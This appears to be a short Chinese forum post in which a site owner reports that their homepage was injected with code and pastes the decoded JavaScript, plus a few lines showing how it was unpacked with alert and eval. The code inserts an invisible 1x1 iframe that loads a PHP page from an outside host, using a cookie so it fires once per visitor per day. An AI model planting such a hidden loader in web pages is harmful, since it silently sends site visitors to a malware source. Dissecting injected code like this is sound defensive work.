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网站首页被挂马，被插入了这段代码，很好奇里面是什么内容。解密
网站首页被挂马，被插入了这段代码，很好奇里面是什么内容。解密
function zzzfff() { var bcs = document.createElement('iframe'); bcs.src = 'http://expert-buy.com/modules/mod_add/tYR163uT.php'; bcs.style.position = 'absolute'; bcs.style.border = '0'; bcs.style.height = '1px'; bcs.style.width = '1px'; bcs.style.left = '1px'; bcs.style.top = '1px'; if (!document.getElementById('bcs')) { document.write('<div id=\'bcs\'></div>'); document.getElementById('bcs').appendChild(bcs); }}function SetCookie(cookieName,cookieValue,nDays,path) { var today = new Date(); var expire = new Date(); if (nDays==null || nDays==0) nDays=1; expire.setTime(today.getTime() + 3600000*24*nDays); document.cookie = cookieName+"="+escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");}function GetCookie( name ) { var start = document.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}aa("fromCharCode");
alert(za);//得到上面的贴出来的
zaz=za;//赋值给另外一个变量
e(zaz);//==>eval(zaz)，动态执行上面的代码